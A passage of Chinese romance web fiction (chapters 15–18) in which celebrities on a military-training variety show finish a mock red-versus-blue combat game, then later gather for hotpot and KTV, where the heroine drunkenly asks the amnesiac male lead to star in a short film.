洛澄刚将毛诚逼退回木屋。
很快,子弹从木屋里飞射出,躲在灌木丛中的洛澄迅速趴下。
与此同时,又有几发子弹从木屋背后的某个方向朝着毛诚飞去,毛诚马上隐蔽。
红队潜伏了这么多人?!
洛澄喘着气。
好险,幸好有王鹤,不然她恐怕“牺牲”在这了。
洛澄朝王鹤埋伏的方向看了眼,有王鹤困住毛诚,洛澄即刻往林久期离开的方向去。
.
蜿蜒的山路都是泥泞,后面是接二连三向他射击的子弹,林久期的额头布满了汗水。
“咻——”
身后的子弹迅速飞来。
林久期身子微歪躲开,忽然脚下一滑,整个人摔跪在地上。
许明:“林久期!”
看准时机,许明迅速架枪瞄准林久期。
林久期回首。
遭了。
来不及了。
15. 第15章
按照之前制定好的路线,洛澄抄小路,很快就追上了林久期。
可她刚赶到,只见许明瞄准了林久期。
洛澄心惊,当即向许明开上一枪。
就在许明扣动扳机的前一秒,几颗子弹打在了许明和詹江已的脚边。
这前后不过数秒的时间。
林久期趁机爬起身。
“妈.的!”许明气得往攻击他的方向猛开了好几枪,可只打掉了几片树叶,早已空无一人。
“到底是谁?!”
来不及多想,许明跟上詹江已得脚步,继续追。
穿过一个陡坡,前方是条川流,远远的,两人就见林久期从木桥上跑到河流的另一端。
许明:“追!别让他跑了!”
许明说着就加快了速度。
可刚跑去几米,临近木桥,脚下仿佛踩着了什么,一瞬间整个人腾空而起。
“?!”
粗大的麻绳将许明牢牢吊在空中,摇摇晃晃,根本挣脱不开。
“放我下来!”
詹江已反应快,他马上停下前进的脚步,靠着周围茂密的林木,躲过前方攻击而来的子弹。
许明扯着嗓子喊:“詹江已!救我啊!”
“救你?”詹江已躲在树干后,嘀咕了句,“我都自顾不暇了我还救你。”
红队的火力太猛,詹江已扫了眼半空中被绑的许明,他一咬牙,边回击边后撤。
三十六计走为上计。
等詹江已彻底撤离红队的攻击范围后,红队的人才陆陆续续从隐匿的地方出来。
洛澄跑向迎面而来的林久期,眼睛撇到他沾满泥土的膝盖,“没事吧?”
林久期轻轻一笑,“没事。”
“对不起。”洛澄垂下头,“我来晚了。”
按照计划,许明做饵,林久期负责攻击以及引诱蓝队进入到红队的埋伏地段,而洛澄负责掩护林久期顺利抵达。
洛澄越想越愧疚。
如果自己动作再快点就好了。
差点毁了计划。
见她丧着脸,林久期抬手在她头上轻揉一下,“不晚,救了我一命。”
“……”洛澄被他这一举动愣住了,她怔怔地看着他。
他已经走到了红队其他队员身旁,在说些什么。
他……
洛澄抬手抚向他刚才触碰过的地方。
他这是什么意思?
他应该只是,单纯的想谢谢她吧。
洛澄收敛起紧张的情绪,朝他们走去。
红队的四位女艺人叽叽喳喳地邀着功。
“我们表现的不错吧。”
“我刚才可是用了吃奶的劲拉的绳子。”
“……”
“大家都很棒。”林久期眉眼弯弯的,眼里都是对大家的认可。
他的一举一动全都落在洛澄的眼里。
刚才胡思乱想的心思也顿时清空,有些失落。
是她想多了,他对谁都很温柔。
林久期全然没注意到旁边少女的心思,他拿着枪走到大吵大闹的许明旁边。
许明已经自个儿在那喊天喊地老半天了,根本没人搭理他。
看到林久期走来,脸上的愤怒又加深了几分,“林久期,有本事你把我放下来,咱俩单挑啊!”
他越说越来气,“搞阴的算什么男人!咱俩单挑!”
林久期“哦”了声,想是在思考,几秒后,他拿枪对准许明头上的头盔。
许明一下就慌了,“喂喂喂,有话好好说!”
林久期嘴角一勾,“抱歉。”
一声枪响,许明淘汰。
他折身走回队友身边,“走吧,去支援杨队长。”
红队的其他人都跟着他离开。
许明叫唤道:“喂!你们别走啊!放我下来啊!”
可就算他喊破喉咙,红队的人也无动于衷。
刚才高强度的奔跑,已经耗费了洛澄几乎所有的体力,又加上本来就有低血糖,她此刻跑在路上,头昏昏沉沉的。
洛澄咬紧牙关,拖着发颤的双腿。
不行,不能拖后腿。
林久期在队伍的最前面,他时不时回头查看身后队员的情况。
看洛澄晃晃悠悠的,他折返到队伍最后面。
“不舒服吗?”
洛澄从牙缝里艰难挤出几个字,“没有。”
林久期扶着她的胳膊,“你在这儿休息吧,剩下的交给我们。”
“放心,我不会拖后腿的。”
洛澄从包里翻出一瓶矿泉水,猛喝几口,“走吧,还要去支援杨教官他们。”
恰逢林久期手里的对讲机传来郑巧儿的声音,“毛教官和王鹤在三点钟方向。”
事不宜迟,红队加快步伐。
面对专业的军人,王鹤根本不是对手。
他完全被毛诚压制住了,躲在山坡的岩石后面,“卧槽,真吓人啊。”
王鹤手里的子弹只剩下最后一发,现在就像是待宰的羔羊。
与其坐以待毙,不如拼了!
王鹤探出身,对着毛诚的位置开上最后一枪。
树林鸟群腾飞。
一缕红烟上升。
郑巧儿拿着望远镜眼睁睁看着远方发生的一切,她吁了口气,对着对讲机道:“王鹤阵亡。”
隔着大老远,洛澄一行人就瞧见了飘起的红烟。
林久期立马道:“停!”
有人问:“我们现在怎么办?”
王鹤已经被淘汰,他们现在过去也为时已晚,更何况他们现在精疲力尽,根本不是毛诚的对手。
正想着,不远处突然传来激烈的枪弹声。
郑巧儿:“是杨教官和蓝队的人!”
事不宜迟,所有人往往声源方向跑。
可雾霭氤氲,每棵树都若隐若现,只能听音辨路。
枪弹声愈加清晰,在浓郁白雾中时不时夹杂着红蓝烟雾。
渐渐的,红色烟雾接二连三,林久期嘴角紧绷,立刻加快脚步。
忽地,有人从他身后一拉,就在此时一颗子弹从他眼前不过几厘米的距离,飞射而过。
就差一点。
洛澄拉着林久期躲在旁边的树干后,舒了口气,“九七,别冲动。”
林久期回首,周围只有他们两个人,“其他人呢?”
洛澄:“雾太大,走散了。”
与此同时,林久期手里的对讲机响起声音,“快跑!”
林久期:“现在什么情况?”
对讲机没有任何回应。
周围恢复了安静,林久期沉下脸,他毫不犹豫拉着洛澄往相反的方向跑。
洛澄还没反应过来,“怎么了?”
林久期大脑飞速运转,根据刚才红烟的位置和次数,不出意外的话,现在红队……
-
“老毛啊,何必呢,跟我一换一多亏啊。”杨勉拍了拍身上粘着的土。
毛诚哼了声,“你让我们蓝队损失这么些人,不除了你,我心里不爽。”
杨勉笑了笑,转身去拉旁边坐在地上的红队队员。
红队这次被淘汰的人都聚在了这里,毛诚数了数,“这里就有5个人,再加上你的侦察兵,你们红队只剩两个人了。”
他越说越得意,“可我们还有4个,要不你们投降吧,投降输一半。”
“有道理。”杨勉勾了勾手指,“这样吧,”
毛诚见状凑了过去,杨勉轻蔑一笑,“你喊我声爹,我就让他们放过蓝队。”
-
“先在这里吧。”
林久期低声道。
两人躲进一间木屋,第一时间就翻箱倒柜,把能用的物资全部搜刮了出来,可除了水和食物,一颗子弹都没有。
别说这间木屋没有了,整个树林几乎都被搜刮完了,就算是换了别处,也不会再有任何枪支弹药。
洛澄的心脏还在跳个不停,“接下来,怎么办?”
蓝队的人肯定一会儿就会追上他们。
林久期看了眼枪里的最后的4发子弹,除非他枪枪击中,否则他们就是菜刀下的鱼肉。
想罢,林久期把4颗子弹全部取了出来递在洛澄手里。
洛澄一头雾水,“你这是干嘛?”
林久期言简意赅,“装上。”
洛澄不愿意,又塞了回去,“我不要,你留着,你枪法比我好。”
林久期轻笑道:“听我的,我有办法。”
洛澄:“可……”
洛澄还想说什么,只听细微的脚步声传来,悄悄从窗户窥探,隐约有几道人影正在往他们这边来。
林久期:“你从后面的窗户出去。”
木屋虽只有两层,但空间很大,后方的窗户通向树林,他只要拖住他们两分钟,足够洛澄离开了。
洛澄
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反问:“那你呢?你有什么办法?”
“我?”林久期故作轻松道:“我能对付他们。”
“不行,我和你一起。”
脚步声渐重,要来不及了。
林久期推着她往后窗走,“相信我,你先离开,我们一会儿汇合。”
洛澄一咬牙,“注意安全。”
林久期点了点头。
见洛澄从后窗翻了出去,他沉下眸,掉头回前厅。
林久期躲藏进二楼的隔间,几秒钟后,楼下吱呀一声,紧接着是交叠的脚步声。
有人上楼了。
他深呼吸了几口气,手心里捏出了汗。
脚步声越来越近,越来越近……
林久期肌肉紧绷着,他靠着墙壁,紧盯着门把手,只见它缓缓向下——
门被打开了缝,枪头从外探进,随后,一位胳膊绑着蓝色袖带的男人从外面探出身,他还来不及进一步观察,突然被人一把捂住口鼻。
林久期从后死死地捂住他,生怕他发出太大的声响,拖着他就往里屋去。
男人拼了命挣扎,他张牙舞爪着,到床头柜处,他大手一挥,柜子上放着的水瓶被掀翻在地,碰撞在地板上发出剧烈的声响。
楼下的人听得一清二楚,詹江已心里敲起警钟,他迅速做了一个噤声的动作,其余两个队友跟着他,轻手轻脚往楼上走。
不能再继续耗下去了。
林久期抢过男人手里的枪,果断朝他头上的感应器开枪。
“砰——”
清脆的一声后,外面的人也不在隐藏动静,纷纷往楼上冲。
几人推门而入,男人坐在床上翘着腿,头上冒着蓝烟,他一句话都没说,在三个人都还没反应过来时,他眼睁睁看着林久期从门后悄悄跑出去。
在听到楼梯木板踩踏的声音后,几人才回过神,詹江已第一时间追了出去。
其中一位男艺人骂到:“人就在房间里你不会说一声吗!”
男人啃着面包,“老子都死了,你见过尸体说话啊。”
“你!”脏话到嘴边硬生生的吞了下去,旁边旁边还有摄像大哥,人设不能崩。
男艺人不再多说,往外追去。
詹江已站在二楼栏杆处朝着楼下的林久期开了好几枪,可全被他躲过去了。
“久期,你已经无路可退了,放弃吧。”
詹江已不疾不徐地往楼下走。
林久期回首往后窗的位置看了眼,随后,他义无反顾地往大门去。
而,就在他跑出大门的那一刻,门外待命的另外一名蓝队队员一把嵌住他的肩膀。
来不及闪躲,林久期紧攥住那人的胳膊,用力一掰,那人吃痛地叫唤一声,另一只手抡起拳头就朝着林久期的面部挥去。
林久期头一偏,躲开攻击。
倏地,身后枪声像狂风暴雨样狂扫而来。
避无可避。
情景之下,林久期一个转身,拽住那人挡在了自己的面前,子弹打在了那人的身上。
虽然是空包弹,但打在身上也疼得厉害,那人嗷嗷叫着:“林久期!你拿我当沙袋啊!”
林久期举起枪对准詹江已的位置开了几枪后就没子弹了,他甩掉手上的枪,悠悠笑道:“谢了兄弟。”
即使男艺人头上冒蓝烟,林久期也没有松开他的意思,抢过他手里的枪,试了试,子弹也空了,又在他衣服包里迅速摸索,也没有任何弹药。
他依旧拉着男艺人挡在自己前面,他一步一步往后退,退出到了木屋外。
詹江已从二楼下来,紧跟着他,“久期,你已经没子弹了,投降吧。”
詹江已步步紧逼,即使林久期以最快的速度逃跑,他也能保证,这个距离百分百命中林久期的感应器。
又加上从考核开始到现在已经过去这么长时间了,他就不信他林久期是铁打的,体力没有任何损耗。
詹江已:“久期啊,看在咱俩是兄弟的份上,我也不想让你淘汰的太狼狈,这样,你主动退出,体面点。”
林久期此刻累的两条腿仿佛灌了铅,全身也像是被抽了筋骨一样地疼,他余光观察四周。
从这里往北去,大约1公里处还会有间木屋,如果那里有子弹的话……
林久期迟迟不开口,詹江已没了耐心,他离林久期不过几米的距离,他架起枪,瞄准他。
“久期,慢走。”
“砰——”
16. 第16章
所有人愣怔三秒,詹江已转头,错愕地盯着旁边头盔冒蓝烟的队友。
他怎么忘了,红队还有一个人!
就在詹江已失神的几秒里,林久期已经冲在了他面前,两人缠斗在一起,詹江已一记飞腿踢向林久期,“想赤手空拳比一场是吧,哥陪你。”
林久期闪身躲过,一拳击中詹江已的腹部,他闷哼一声,“久期,你可真是一点都不手软啊。”
林久期嘴角挂着笑,“彼此彼此。”
两人你来我往,互不相让。
旁边的摄像大哥都傻眼了,他到底是拦还是不拦啊?这俩要是其中一个伤筋动骨了,他这个旁观者坐视不管,还不知道得被网友骂成什么样。
两位跟拍你看我我看你。
意思是——
你去。
我不去,你去。
我不敢。
躲在暗处的洛澄也眉头紧锁,她知道林久期是什么意思,他牵制住詹江已,她再找机会淘汰。
可是,这两个人动来动去的,她现在就剩下三颗子弹了,哪有这么准的枪法啊。
洛澄的跟拍也汗流浃背了,“洛,洛老师,我们要不要去劝劝?”
洛澄凝视前方,“再等等。”
旁边被淘汰的另外两名队员看热闹不嫌事大,早就不在乎什么红队蓝队了,一个劲的在旁边起哄。
木屋里被淘汰的那位蓝队队员也闻声出来了,看到眼前一幕,也忍不住凑个热闹,“林久期踢他,踢他!詹江已你倒是往他身上抡拳头啊!都别打脸啊,破了相了就不好看了!”
两人的肉搏足足持续了有四五分钟。
詹江已扣住林久期的腿,林久期锁住他的头。
詹江已气喘吁吁,“久期,投降吧。”
林久期精力殆尽了,但任然不放手,“你投。”
詹江已:“那你放手。”
林久期:“你先。”
詹江已也不愿意先松手,他扯着嗓子朝某处喊:“美人儿!再这样下去天都黑了,出来劝劝他!”
“……”
顺着詹江已的话,洛澄下意识抬头瞅,太阳正当头,光线晃得刺眼。
估摸着这才下午两三点吧,哪里就要天黑了?
骗子。
洛澄心里嘀咕一句,见他们纠缠在一起动弹不得,她从林子里钻了出来。
“哟,美人儿。”詹江已吹了个口哨,“枪法不错。”
“谢谢。”洛澄礼貌回应后又看了看林久期,随后,她手里的枪对准詹江已。
詹江已挤眉弄眼着,“诶诶诶,别啊,给个机会。”
他试图挣脱,可林久期加重了力道,把他禁锢地死死的,“久期,你这就不地道了,说好的1对1比试呢。”
“谁跟你说好了。”
说罢,林久期朝洛澄使了个眼神。
詹江已叹道:“死在美人儿手里,我做鬼也风流。”
-
3月底,一个月的训练正式结束。
训练基地里笑语喧阗,拼凑起的桌子上放满了美食,一帮人围在一起载歌载舞,好不热闹。
毛诚从烤串上狠狠咬下一口肉使劲嚼着,“下次我一定赢你,等着吧。”
杨勉在旁边附和,“下次一定。”
“我回去一定要去吃火锅,馋死我了!”郑巧儿想着就流口水,“洛学姐,到时候我们一起去吃吧。”
“好。”
洛澄应了下来。
她目光时不时瞥向不远处与人谈笑风生的林久期,见他与旁人说完话后往无人的窗边走,洛澄倒了杯果汁也走了过去。
“不用了,谢谢。”
林久期笑着拒绝了她递来的饮料。
洛澄:“很清淡,不算甜,尝尝。”
林久期犹豫了下,才接过,“谢谢。”
他抿了一口,淡淡的柑橘味在口里蔓延。
“怎么样?”
“挺好喝的。”
洛澄看着他,“我做的。”
林久期有些惊讶道:“你还会做果汁?”
洛澄没有立马回答他,只是静静注视着他那双干净的眼眸,数秒后,才说:“你不会吗?”
林久期摇摇头,“我不会,挺难的吧。”
洛澄嘴角微动,她别过头,盯着窗外那片空旷的操场,苦笑了下。
你怎么不会呢?
还是你教我的。
很快,她整理好情绪,“很简单,你如果喜欢喝,我可以教你。”
林久期还未应答,不远处就某位男艺人喊着:“久期!”
闻言,林久期跟洛澄打了声招呼,便去到了那人身边。
林久期刚走没多久,詹江已端着果汁就来了。
“美人儿,听说这果汁是你做的?”
洛澄点了点头。
詹江已又道:“这么好喝,怎么做的啊?”
洛澄不咸不淡地吐出俩字,“秘密。”
-
欢送会结束后,所有艺人的这趟特种兵综艺也圆满收官了。
有人欢喜有人愁。
有人觉得苦日子终于到头了,而洛澄却觉着,她又要开始见不到林久期了。
林久期很少会去盛兴传媒,从综艺拍摄结束到现在,已经快一个月的时间了,洛澄一次都没遇见过林久期。
“他失忆了?真的假的?”
乔媛媛半信半疑盯着洛澄。
四月底的盐城电影学院开满了樱花,粉色花瓣铺满了这条林荫小道,周围有不少来拍照的学生。
“真的。”洛澄压低声音说:“他连刘妈妈都不记得了。”
乔媛媛嚷嚷着:“就他在孤儿院时候的那个院长?”
洛澄立马拉扯了下她的袖子,“你小点声。”
她说罢四顾望了望,旁边的人都没什么反应,多半是没听见,她才松口气。
林久期是孤儿的事情一直没有在娱乐圈里传出来,这件事也只有他们这几个曾经要好的朋友才知道。
乔媛媛反应过来,也有些心虚地瞅了眼四周有没有人留意她们,她小声道:“会不会是因为那次车祸?”
洛澄点头,“肯定是了,不然他怎么可能从出车祸以后都不联系我。”
想起什么,又嘱咐道:“这件事你千万别跟别人说,知道吗?”
乔媛媛拍着胸脯保证,“你放心,我又不是大喇叭。”
说曹操,曹操到。
洛澄和乔媛媛刚走过一个拐弯,就碰见迎面走来的林久期。
兴许是背后说闲话做贼心虚,两人都吓了一跳。
洛澄率先热情打了招呼,“九七,真巧啊。”
乔媛媛挥了挥手,“嗨。”
也不顾她俩异常的反应,林久期只是微笑着点点头,就匆匆和助理走了。
刚才的话题也戛然而止。
乔媛媛想起一事,“我们的毕业作业是自己编导一部短剧,小洛澄,你来当我的
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女主角吧!”
洛澄纳闷:“你不是才大三吗?不是明年毕业吗,怎么现在就开始考虑毕业作业了?”
“毕竟是拍网剧嘛,总得提前准备。”乔媛媛贿赂着:“你就帮帮我呗,事成了请你吃大餐。”
洛澄转念想了想,这学期的课程不算多,便答应了下来,“行。”
乔媛媛嘟囔着:“有了女主角,还差男主角。”
洛澄脑海登时冒出一个人的轮廓,“男主角交给我。”
乔媛媛:“你有人选了?”
洛澄:“对。”
乔媛媛:“谁?”
洛澄:“林久期。”
“……”乔媛媛睇了她一眼,“那我还是重新去找人吧。”
洛澄一脸严肃,“我认真的。”
“我也是认真的。”乔媛媛泼着冷水,可也却是事实,“小洛澄,人家林久期现在都失忆了,不认我们,他怎么可能还会来友情出演啊。”
洛澄心里比谁都清楚,但还是硬着头皮道:“我想想办法。”
乔媛媛是一点也不抱希望,“别了吧。”
洛澄:“不是还有一年吗,你给我点时间。”
乔媛媛:“姑奶奶,别闹了。”
见洛澄满眼坚定,乔媛媛心软下来,“行吧行吧,你试试,但不能太久。”
得了乔媛媛的同意,洛澄连续好几天都魂不守舍的,在琢磨怎么样才能让林久期答应这件事。
盐城大学的某间阶梯教室里,洛澄撑着头,盯着最前方的黑板,但思绪早就不知道飘哪儿去了。
也不知道怎的,走廊上突然一片躁动和尖叫。
虽说要试一试,可这成功的几率几乎只有0.0001%那么少。
想搞定林久期哪有那么简单。
洛澄绞尽脑汁都想不出一个办法来。
坑蒙拐骗偷?
根本行不通。
要不直说吧?如果她不同意就再另想办法。
“哎——”
洛澄轻叹一口气,她软绵绵地趴在桌上,头枕着胳膊,眺望着窗外,让思绪再飞会儿。
“嗨,美人儿,好久不见。”
上方忽然传来一道熟悉的声音。
洛澄闻声抬头,染了一头红发的男人站立在她跟前,底下是张性张力爆棚的脸,再配上他极其张扬的头发,整个人看上去更加狂野。
如果要用一种动物来形容他。
洛澄第一反应就是猴子。
俗称猴系帅哥。
“詹江已?你怎么在这?”
她目光恰好瞥见不远处围观的好些同学,还有那不知什么时候被堵的水泄不通的教室门口。
搞半天刚才的骚动是因为他啊。
洛澄前面座位的同学正巧出去了,詹江已大长腿一跨,反身坐着,“来找你的。”
洛澄一头雾水,“你怎么知道我在这里?”
詹江已两手随意搭在洛澄的桌上,“那还不简单,我在路上随便一打听,就有好心人带我来了。”
话落,他还朝门口的人挥了挥手。
洛澄见门口女生的眼睛都要冒金光了,还有不少犀利的视线,满是妒忌,像要刺穿她一般。
她懒得在意,问道:“你来盐大拍戏?”
詹江已:“当然不是,我是特意来找你的。”
洛澄:“找我?”
“对,找你。”詹江已挑眉笑道:“晚上有没有空赏脸一起吃个饭?”
17. 第17章
洛澄有些难为情,“不好吧。”
詹江已明白她在担忧什么,“放心,不止我俩,还有郑巧儿和久期。”
不等她拒绝,詹江已起身往外走,只撂下一句话,“下课见。”
洛澄今天下午5点过就结束了最后一堂课,她出了教室,乘了电梯下到一楼,詹江已就在教学楼外等着她。
他周边围了不少女同学,基本都是来找他要签名的。
詹江已三年前出道,因为演了一部“小三”男主而一炮走红,网友给他起了个称呼——背德男主。
这种角色一般情况下都会被网友唾弃的,可他凭着这张脸,硬是把网友风向改了——
【三观跟着五官跑。】
【我平生最痛恨插足者,但如果是詹江已,那他肯定有自己的苦衷。】
“洛澄。”
詹江已冲她这边挥了挥手,他跟旁边的小迷妹们说了几句话后,就走了过来。
在众人火辣辣的目光下,洛澄跟着詹江已上了他停靠在路边的红色法拉利。
红色的跑车,红色的头发,红色的夹克。
在校园里是又夺目又张扬。
每每有人路过,都会忍不住往他们这儿撇上几眼。
詹江已吹了声口哨,“走咯。”
吃饭的地方离盐城大学不远,再加上詹江已飞车一般的速度,十分钟左右就到了。
洛澄从背包里拿出口罩戴上,另外一个黑色口罩递给詹江已。
他摆了摆手,“我不用。”
两人下车径直走进一家火锅店。
詹江已跟迎接的服务员说了房号,服务员领着他俩就上了二楼。
推门进了包厢,洛澄一眼就瞧见了最里面背靠窗坐的林久期。
他穿了件白T恤,外套是件牛仔蓝的衬衫,他手端着茶水轻抿一口,举手投足间尽是矜贵优雅。
听到开门声,林久期视线缓缓移来,他那双漂亮的桃花眼微弯,眼里漾着笑意。
“洛学姐,我想死你啦!”
郑巧儿站起来,拉着洛澄就到她旁边的位置坐下,一顿嘘寒问暖。
“我给大家介绍一下。”詹江已咳嗽两声,所有人的目光都聚在了他身上,“这位是洛澄,大美人儿一个,盐城大学校花。”
詹江已这几个字直接让洛澄汗流浃背了,她连忙道:“不敢当,他开玩笑的。”
盐城大学是数一数二的名校,里面的学生个个都是顶尖学子,长的也是一个比一个美。
盐大校花?
这件事要是传出去,她指不定被喷成什么样。
“洛老师谦虚了,洛老师不仅人美,歌也好听,你的那首四年,我可是百听不厌啊。”
说话的这位是黄谦,洛澄认得他,是TheOne的成员之一,林久期的队友,他最拿的出手的就是歌曲创作,在娱乐圈里又被称为音乐鬼才。
洛澄朝他微笑道:“黄老师谬赞,在黄老师面前也只是班门弄斧了。”
“你以后有什么问题都可以像老黄指教,老黄他别的不行,但创作这块,确实有点东西。”
范少杰边说边竖起大拇指。
范少杰,TheOne第三位成员,舞蹈担当,三岁开始学舞,在娱乐圈里舞蹈方面能和他旗鼓相当的,没几个。
洛澄咽了咽口水。
TheOne从出道以来一直都是内娱第一男团,他们聚是一团火散是满天星,这样顶流般的人物,居然和她这个刚出道的小明星坐在一起吃饭,她以前是想都不敢想。
黄谦睨着范少杰,“你才不行。”
范少杰贱兮兮道:“本来就是,你说你除了创作,哪里还行?”
黄谦撇了撇嘴,“我懒得理你。”
看着眼前的一幕,洛澄有一种非常不真实的感觉,坐在她另一侧的詹江已道:“你别管他们,他们一直都是这样。”
洛澄:“挺好的。”
人都到齐了,服务员很快就端来了火锅锅底和各种菜肴。
盯着锅里那翻滚的红汤,郑巧儿口水都快流下来了,“洛学姐你一定要尝尝他家火锅,他家在整个盐城的火锅店,在我心里是Top1!”
郑巧儿突然又问:“就是挺辣的,洛学姐,你吃的了辣吗?”
洛澄回道:“吃的了。”
不光吃的了,她最喜欢的就是吃辣,生吃辣椒她都不在话下。
洛澄夹起一块涮好的毛肚,尝上一口,辣中带着花椒的麻味在舌尖漫溢,“好吃。”
郑巧儿欣喜道:“我就说吧!”
可有人却没这么开心了,范少杰辣的直呼气,大杯大杯的茶叶往嘴里灌,“詹江已,你是不是故意的啊?你点特辣是想辣死我吗?”
詹江已摇了摇头,“这可是中辣。”
范少杰:“你就不能点个鸳鸯锅吗?”
黄谦:“没出息。”
一顿火锅下来,范少杰是满头大汗,不知道的还以为他刚从健身房出来。
洛澄中途去了趟卫生间,回来后便听着包房里几个人嚷嚷着要去KTV唱歌,而且包厢也都已经订好了。
郑巧儿一直念叨着好久没唱歌,想听洛澄唱歌,她也不好意思拒绝,只好答应了。
詹江已走到哪都是视线的焦点,即使他们其他几人都戴着口罩,可光凭詹江已这个大摇大摆的活人,就很难不受到关注。
昏暗的KTV里,还是有人把他们认出来了。
“詹江已旁边的那几个人是谁啊?”
“我看那个人怎么那么像林久期啊?!”
“卧槽?!林久期?!”
有人开始举着手机对着他们一顿狂拍。
一行人拿了房卡,不敢再多逗留,迅速去了包厢。
范少杰第一个开口,“老詹,你下次出门能不能低调点?别整这花里胡哨的,搞得哥几个也跟你遭罪。”
詹江已撩了撩头发,“哥太迷人,没办法。”
范少杰听了,做了个捂嘴呕吐的动作,“别恶心我。”
林久期摘下白色口罩揣在包里,他坐在靠中间的位置,吃着服务员端上来的水果拼盘。
KTV订的是个大包,宽敞的沙发软座上大家都是零零散散地坐着,洛澄握了握拳,坐到了林久期的旁边。
她刚想开口说话,在点歌台前的郑巧儿就冲着她说道:“洛学姐,我想听你唱四年。”
一旁的范少杰起哄,“唱一个!唱一个!”
洛澄下意识扫了眼身旁的林久期,他没什么表情,只顾着吃水果。
洛澄道:“行啊。”
这苹果真有这么好吃?
洛澄想罢,她也拿起一根牙签叉起一块苹果入了口,又脆又甜。
“洛澄,来玩游戏。”詹江已招呼着,他顺手拉开啤酒瓶灌的易拉环,又在每个人的桌前放好了骰子,“摇骰子。”
范少杰不屑:“这里的酒有什么好喝的,要想喝酒,去我酒吧喝啊,想喝多少喝多少。”
“哟,范少阔绰,那下次就约你的酒吧。”詹江已倒满一杯酒放在他跟前,“这次就先委屈范少了。”
郑巧儿刚好唱完一首歌,她凑过来,“你们在玩什么,我也要来。”
“摇骰子。”詹江已掏出手机,“你们先玩,我打个电话。”
几轮下来。
范少杰已经喝了不少酒了,“可以啊洛澄,别看你长的像个乖学生,这酒场游戏你倒是厉害得很。”
洛澄谦虚道:“主要是你们让着我。”
“我可要认真了。”范少杰喊道:“10个3。”
黄谦比了一个拇指朝上的动作,加一个。
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郑巧儿接着喊:“12个6。”
林久期想了大概三秒,“13个6。”
洛澄奇怪地看着他。
5个人,喊13个6?疯了吧。
范少杰:“是我我就劈他!”
洛澄看了一眼自己的骰子,只有1个6,她沉思片刻,道:“开。”
所有人亮出自己的骰子,洛澄数了一圈,才10个。
黄谦问:“洛老师,你有几个?”
洛澄的骰子始终被骰蛊罩着,她没有打开,拿起一杯酒一饮而尽,另一手摇着骰蛊,“我有三个,我输。”
詹江已接完电话回来,“一会儿檀冶过来。”
檀冶?
洛澄以为自己听错了,是她知道的那个檀冶吗?
詹江已对着她说:“你可以喊着你的朋友来玩,人多热闹。”
“不……”了吧。
洛澄话说到一半停住了,脑海里蹦出某个人,“可以吗?”
詹江已:“当然可以。”
洛澄迅速给乔媛媛发去消息。
【KTV,你老公,速来。】
发出去不过几秒的时间,对方马上弹来了语音电话,洛澄走到包厢门口才接通。
乔媛媛尖叫的声音传来:“啊啊啊我老公?!小洛澄你没骗我吧?!什么情况!”
洛澄隔着玻璃望了一眼坐在里面的黄谦,“说来话长,但是真的,我发地址给你。”
“好好好!别让他们走了啊!”
洛澄挂了线回到包厢,就听到詹江已和范少杰吵的火热。
詹江已:“你开不开他,你不开他我开你。”
范少杰:“老詹你是真恶心啊!等着吧,等檀冶来了替我收拾你们!”
洛澄重新入局。
好几局下来,林久期一口没喝,但洛澄却已经喝了不少。
范少杰纳闷:“久期,你是有点运气在身上啊,怎么洛澄每次开你都开输。”
洛澄心里一惊,连忙找补,“我运气不好。”
酒过三巡,两箱酒已经见底了,除了林久期,个个喝得面红耳赤。
范少杰越喝越上头,他脚踩啤酒箱,“我不服!继续!”
他刚话落,包厢的门被人从外面打开。
穿着枪灰色冲锋衣的男人走了进来。
他坐在最边上的位置,像没骨头似的靠着椅背,他摘下黑色的墨镜和口罩,是张英俊桀骜的脸。
范少杰像是看到了救星,“檀冶你终于来了!他们都欺负我!”
檀冶耷拉着眼,一副漠不关己的口吻,“关我屁事。”
黄谦跟檀冶打了个招呼就去了包厢里的卫生间,听声音,像是在吐。
郑巧儿凑近洛澄,小声说:“他就是檀冶,好帅啊。”
洛澄的目光在檀冶身上停留。
帅是帅,但一看就不好惹。
洛澄撤回视线,她对别人一向不感兴趣。
旁边的林久期这时起了身往外走,洛澄急忙跟着出了包厢。
包厢订在了KTV最里面一间,旁边的几个包厢都是空的,周围没什么人。
林久期大致离开了几分钟后才返回来,还没走到包厢门口,在拐弯处就遇见了洛澄。
“怎么不进去?”
洛澄靠着墙壁,头昏昏沉沉的,听到林久期的声音才抬起头,她试图往林久期那边走,可脚步虚,一个踉跄扑在了他的怀里。
林久期扶稳她,她仰着头,莹润的脸颊上泛着红霞,她长得不算明艳,但眼宛如杏子晶莹,眉不画而翠,唇不点而红,青涩中带着几分秀美。
“林久期。”
洛澄酒意正浓,她双手自然而然地搂上他的脖颈,踮起脚凑在他的耳畔边,她唇边挂着醺醉的笑容,“你愿意当我的男主角吗?”
18. 第18章
林久期立即拉开与洛澄的距离,面上温和的笑容也收敛了,取而代之的是一脸严肃,“你喝多了。”
洛澄不依不饶,拉住他的手,“我是认真的。”
林久期挣脱开,“洛老师,请自重。”
也不知道洛澄听进去没有,只见她紧皱着眉,手扶着墙,身子一点一点蹲了下去。
林久期迟疑三秒,尔后上前屈身蹲在她旁边,“你怎么了?”
“我……”洛澄抱着双膝,垂着头,吐字不清地嘀咕了几句。
林久期没听清,他凑近了些,他什么都还没听见,洛澄忽地拽住他的袖子,随后哇地一声。
“……”
林久期的眉心微不可查地蹙了下。
衬衫外套上被吐满了汤汤水水,还散发着一股熏人的酒味。
洛澄一屁股坐在了地上,极其难受地哼着,似乎还不知道自己干了些什么。
林久期略一迟疑了下,顾不上自己被弄脏的衣服,正要扶起洛澄往包厢走,一双高跟鞋发出的哒哒声从不远处传来。
乔媛媛只看到个背影,还以为是不怀好意的臭男人,她急忙冲上前推开对方,“别碰她!”
这话刚说出口,借着走廊微弱的光,乔媛媛看清了对方的脸,一时间尴尬地瞪着眼睛,“林,林久期。”
乔媛媛的视线下移,瞥见林久期衬衫下摆湿了一大片,还有地上吐出来的残留物,她倒吸了口凉气。
小洛澄啊小洛澄,你都干了什么好事。
“对不起啊,我不知道是你。”乔媛媛扶着身子东摇西摆的洛澄,“你快去处理一下吧,我带她进去。”
林久期凝视着她,淡淡说道:“我和你一起。”
他刚才的眼神就像是在看陌生人一样,明显就是不放心把洛澄交给她这个“陌生人”,想起洛澄说他失忆了,乔媛媛也没多说什么。
两人架着洛澄回到包厢。
包厢里的人正玩的不亦乐乎,听到开门声这才反应过来洛澄和林久期出去好半会儿了。
詹江已第一时间来到跟前,“这是怎么了?”
洛澄倒在沙发上就不省人事了,乔媛媛道:“喝醉了。哦对了,我是她朋友,我叫乔媛媛。”
